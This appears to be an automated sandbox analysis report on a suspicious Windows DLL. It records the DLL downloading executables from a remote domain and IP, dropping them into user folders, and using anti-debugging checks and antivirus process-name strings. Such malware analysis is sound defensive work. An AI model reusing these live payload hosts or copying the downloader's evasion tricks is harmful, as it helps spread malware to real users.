Windows Analysis Report
7nJ9Jo78Vq.dll

Source: Joe Sandbox View

IP Address: 118.107.29.172 118.107.29.172

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CC61150 InternetOpenW,InternetOpenUrlW,CreateFileW,InternetReadFile,WriteFile,InternetReadFile,WriteFile,GetLastError,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,GetLastError,GetLastError,InternetCloseHandle,GetLastError,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_6CC61150

Source: global traffic	HTTP traffic detected: GET /dfMob2 HTTP/1.1User-Agent: DownloaderHost: scrt1.nyazz.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfMob2 HTTP/1.1User-Agent: DownloaderHost: scrt1.nyazz.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfMob2 HTTP/1.1User-Agent: DownloaderHost: scrt1.nyazz.comCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: scrt1.nyazz.com

Source: rundll32.exe, 00000004.00000002.1775294274.0000000002D7D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1774547255.0000000002D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: loaddll32.exe, 00000000.00000002.1755316299.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.n
Source: rundll32.exe, 00000003.00000002.1793881439.0000000002C79000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1793209412.0000000002C79000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775294274.0000000002D3A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1774547255.0000000002D3A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1826950943.000000000348C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827386328.000000000348C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/
Source: rundll32.exe, 00000004.00000002.1775294274.0000000002D3A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1774547255.0000000002D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/8
Source: rundll32.exe, 00000003.00000002.1793881439.0000000002C79000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1793209412.0000000002C79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/Qr2
Source: rundll32.exe, 00000005.00000003.1826950943.000000000348C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827386328.000000000348C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/Y
Source: rundll32.exe, 00000005.00000002.1827386328.000000000348C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827386328.000000000346D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/dfMob2
Source: rundll32.exe, 00000004.00000003.1774547255.0000000002D06000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775294274.0000000002D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/dfMob2(p
Source: rundll32.exe, 00000004.00000002.1775229439.0000000002CDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/dfMob2.dll
Source: loaddll32.exe, 00000000.00000002.1755316299.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/dfMob2.sdb3
Source: rundll32.exe, 00000005.00000003.1826950943.000000000348C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827386328.000000000348C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/dfMob201
Source: rundll32.exe, 00000003.00000002.1793881439.0000000002C79000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1793209412.0000000002C79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/dfMob24o9
Source: rundll32.exe, 00000003.00000003.1793209412.0000000002C3C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.1793881439.0000000002C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/dfMob2V
Source: rundll32.exe, 00000004.00000003.1774547255.0000000002D06000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775294274.0000000002D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/dfMob2X
Source: rundll32.exe, 00000005.00000003.1826950943.000000000348C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827386328.000000000348C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/dfMob2Z
Source: rundll32.exe, 00000003.00000003.1793209412.0000000002C3C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.1793881439.0000000002C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/dfMob2ahX.#
Source: rundll32.exe, 00000004.00000003.1774547255.0000000002D06000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775294274.0000000002D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/dfMob2vp

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown	HTTPS traffic detected: 118.107.29.172:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 118.107.29.172:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 118.107.29.172:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC6D4A0	0_2_6CC6D4A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC6F447	0_2_6CC6F447
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC6A5C0	0_2_6CC6A5C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC6ED98	0_2_6CC6ED98
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC76D10	0_2_6CC76D10
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC6EEF2	0_2_6CC6EEF2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC7B6A3	0_2_6CC7B6A3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC65790	0_2_6CC65790
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC857AB	0_2_6CC857AB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC72733	0_2_6CC72733
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC6E897	0_2_6CC6E897
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC6F043	0_2_6CC6F043
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC6F19A	0_2_6CC6F19A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC6E1B0	0_2_6CC6E1B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC7F140	0_2_6CC7F140
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC7D115	0_2_6CC7D115
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC62AE0	0_2_6CC62AE0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC6F2F2	0_2_6CC6F2F2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC8E2FF	0_2_6CC8E2FF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC6EAB4	0_2_6CC6EAB4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC71370	0_2_6CC71370

Source: C:\Windows\System32\loaddll32.exe

Code function: String function: 6CC72B90 appears 51 times

Source: dfMob2[3].5.dr	Static PE information: Number of sections : 24 > 10
Source: wHfMnupa.exe.4.dr	Static PE information: Number of sections : 24 > 10
Source: dfMob2[2].4.dr	Static PE information: Number of sections : 24 > 10
Source: k63ypx3g.exe.3.dr	Static PE information: Number of sections : 24 > 10
Source: yZcEAx3i.exe.5.dr	Static PE information: Number of sections : 24 > 10
Source: dfMob2[1].3.dr	Static PE information: Number of sections : 24 > 10

Source: dfMob2[3].5.dr	Static PE information: No import functions for PE file found
Source: wHfMnupa.exe.4.dr	Static PE information: No import functions for PE file found
Source: dfMob2[2].4.dr	Static PE information: No import functions for PE file found
Source: k63ypx3g.exe.3.dr	Static PE information: No import functions for PE file found
Source: yZcEAx3i.exe.5.dr	Static PE information: No import functions for PE file found
Source: dfMob2[1].3.dr	Static PE information: No import functions for PE file found

Source: dfMob2[3].5.dr	Static PE information: Data appended to the last section found
Source: wHfMnupa.exe.4.dr	Static PE information: Data appended to the last section found
Source: dfMob2[2].4.dr	Static PE information: Data appended to the last section found
Source: k63ypx3g.exe.3.dr	Static PE information: Data appended to the last section found
Source: yZcEAx3i.exe.5.dr	Static PE information: Data appended to the last section found
Source: dfMob2[1].3.dr	Static PE information: Data appended to the last section found

Source: 7nJ9Jo78Vq.dll

Binary or memory string: 2024 - https://www.example.comhttps://www.example.comCompanyNameFileDescriptionFileVersionInternalNameLegalCopyrightLegalTrademarksOriginalFilenameProductNameProductVersionCommentsVS_VERSION_INFOStringFileInfo040904E4VarFileInfoTranslation vs 7nJ9Jo78Vq.dll

Source: 7nJ9Jo78Vq.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: classification engine

Classification label: mal60.evad.winDLL@10/6@1/1

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CC61930 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,GetLastError,

0_2_6CC61930

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[1]

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6900:120:WilError_03

Source: 7nJ9Jo78Vq.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7nJ9Jo78Vq.dll,ExportFunction

Source: 7nJ9Jo78Vq.dll

ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7nJ9Jo78Vq.dll,ExportFunction
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll",ExportFunction
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7nJ9Jo78Vq.dll,ExportFunction	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll",ExportFunction	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll",#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 7nJ9Jo78Vq.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: 7nJ9Jo78Vq.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: dfMob2[3].5.dr	Static PE information: real checksum: 0x15f4b0e should be: 0x2b249a
Source: wHfMnupa.exe.4.dr	Static PE information: real checksum: 0x15f4b0e should be: 0xa6221
Source: dfMob2[2].4.dr	Static PE information: real checksum: 0x15f4b0e should be: 0xa6221
Source: k63ypx3g.exe.3.dr	Static PE information: real checksum: 0x15f4b0e should be: 0x1e3ed0
Source: 7nJ9Jo78Vq.dll	Static PE information: real checksum: 0x0 should be: 0x4ba57
Source: yZcEAx3i.exe.5.dr	Static PE information: real checksum: 0x15f4b0e should be: 0x2b249a
Source: dfMob2[1].3.dr	Static PE information: real checksum: 0x15f4b0e should be: 0x1e3ed0

Source: k63ypx3g.exe.3.dr	Static PE information: section name: /4
Source: k63ypx3g.exe.3.dr	Static PE information: section name: .xdata
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /14
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /29
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /41
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /55
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /67
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /80
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /91
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /102
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /116
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /135
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /151
Source: k63ypx3g.exe.3.dr	Static PE information: section name: /167
Source: dfMob2[1].3.dr	Static PE information: section name: /4
Source: dfMob2[1].3.dr	Static PE information: section name: .xdata
Source: dfMob2[1].3.dr	Static PE information: section name: /14
Source: dfMob2[1].3.dr	Static PE information: section name: /29
Source: dfMob2[1].3.dr	Static PE information: section name: /41
Source: dfMob2[1].3.dr	Static PE information: section name: /55
Source: dfMob2[1].3.dr	Static PE information: section name: /67
Source: dfMob2[1].3.dr	Static PE information: section name: /80
Source: dfMob2[1].3.dr	Static PE information: section name: /91
Source: dfMob2[1].3.dr	Static PE information: section name: /102
Source: dfMob2[1].3.dr	Static PE information: section name: /116
Source: dfMob2[1].3.dr	Static PE information: section name: /135
Source: dfMob2[1].3.dr	Static PE information: section name: /151
Source: dfMob2[1].3.dr	Static PE information: section name: /167
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /4
Source: wHfMnupa.exe.4.dr	Static PE information: section name: .xdata
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /14
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /29
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /41
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /55
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /67
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /80
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /91
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /102
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /116
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /135
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /151
Source: wHfMnupa.exe.4.dr	Static PE information: section name: /167
Source: dfMob2[2].4.dr	Static PE information: section name: /4
Source: dfMob2[2].4.dr	Static PE information: section name: .xdata
Source: dfMob2[2].4.dr	Static PE information: section name: /14
Source: dfMob2[2].4.dr	Static PE information: section name: /29
Source: dfMob2[2].4.dr	Static PE information: section name: /41
Source: dfMob2[2].4.dr	Static PE information: section name: /55
Source: dfMob2[2].4.dr	Static PE information: section name: /67
Source: dfMob2[2].4.dr	Static PE information: section name: /80
Source: dfMob2[2].4.dr	Static PE information: section name: /91
Source: dfMob2[2].4.dr	Static PE information: section name: /102
Source: dfMob2[2].4.dr	Static PE information: section name: /116
Source: dfMob2[2].4.dr	Static PE information: section name: /135
Source: dfMob2[2].4.dr	Static PE information: section name: /151
Source: dfMob2[2].4.dr	Static PE information: section name: /167
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /4
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: .xdata
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /14
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /29
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /41
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /55
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /67
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /80
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /91
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /102
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /116
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /135
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /151
Source: yZcEAx3i.exe.5.dr	Static PE information: section name: /167
Source: dfMob2[3].5.dr	Static PE information: section name: /4
Source: dfMob2[3].5.dr	Static PE information: section name: .xdata
Source: dfMob2[3].5.dr	Static PE information: section name: /14
Source: dfMob2[3].5.dr	Static PE information: section name: /29
Source: dfMob2[3].5.dr	Static PE information: section name: /41
Source: dfMob2[3].5.dr	Static PE information: section name: /55
Source: dfMob2[3].5.dr	Static PE information: section name: /67
Source: dfMob2[3].5.dr	Static PE information: section name: /80
Source: dfMob2[3].5.dr	Static PE information: section name: /91
Source: dfMob2[3].5.dr	Static PE information: section name: /102
Source: dfMob2[3].5.dr	Static PE information: section name: /116
Source: dfMob2[3].5.dr	Static PE information: section name: /135
Source: dfMob2[3].5.dr	Static PE information: section name: /151
Source: dfMob2[3].5.dr	Static PE information: section name: /167

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CC9344C push ecx; ret

0_2_6CC9345F

Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Roaming\MyAppDataDir\wHfMnupa.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Roaming\MyAppDataDir\k63ypx3g.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Roaming\MyAppDataDir\yZcEAx3i.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[3]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[2]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[1]	Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[1]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[2]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[3]	Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\MyAppDataDir\wHfMnupa.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\MyAppDataDir\k63ypx3g.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\MyAppDataDir\yZcEAx3i.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[3]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[2]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[1]	Jump to dropped file

Source: C:\Windows\System32\loaddll32.exe

API coverage: 4.3 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

0_2_6CC62AE0

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Source: rundll32.exe, 00000003.00000003.1793209412.0000000002C90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1793209412.0000000002C3C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.1793881439.0000000002C90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.1793881439.0000000002C4B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1774547255.0000000002D5E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775294274.0000000002D5E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1826950943.00000000034D2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827386328.00000000034D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000004.00000003.1774547255.0000000002D5E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775294274.0000000002D5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: rundll32.exe, 00000004.00000003.1774547255.0000000002D06000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775294274.0000000002D06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000005.00000003.1826950943.000000000346D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827386328.000000000346D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\loaddll32.exe

Process information queried: ProcessInformation

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CC887E0 GetProcAddress,LdrInitializeThunk,

0_2_6CC887E0

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CC79EF4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CC79EF4

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CC88CAE GetProcessHeap,

0_2_6CC88CAE

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC72533 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CC72533
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC79EF4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CC79EF4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6CC72A70 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CC72A70

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 118.107.29.172 443

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7nJ9Jo78Vq.dll",#1

Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6CC8DC58
Source: C:\Windows\System32\loaddll32.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_6CC8D5E8
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_6CC8DD81
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6CC88548
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6CC8DE87
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6CC8D7ED
Source: C:\Windows\System32\loaddll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_6CC8DF5D
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6CC8D8DF
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6CC8D894
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6CC8D97A
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_6CC8DA05
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6CC88A17

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CC75CFE GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_6CC75CFE

Source: loaddll32.exe, 00000000.00000002.1755316299.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775229439.0000000002CDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 360safe.exe
Source: loaddll32.exe, 00000000.00000002.1755316299.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.1793815934.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827326890.000000000341A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 360tray.exe

Mitre Att&ck Matrix

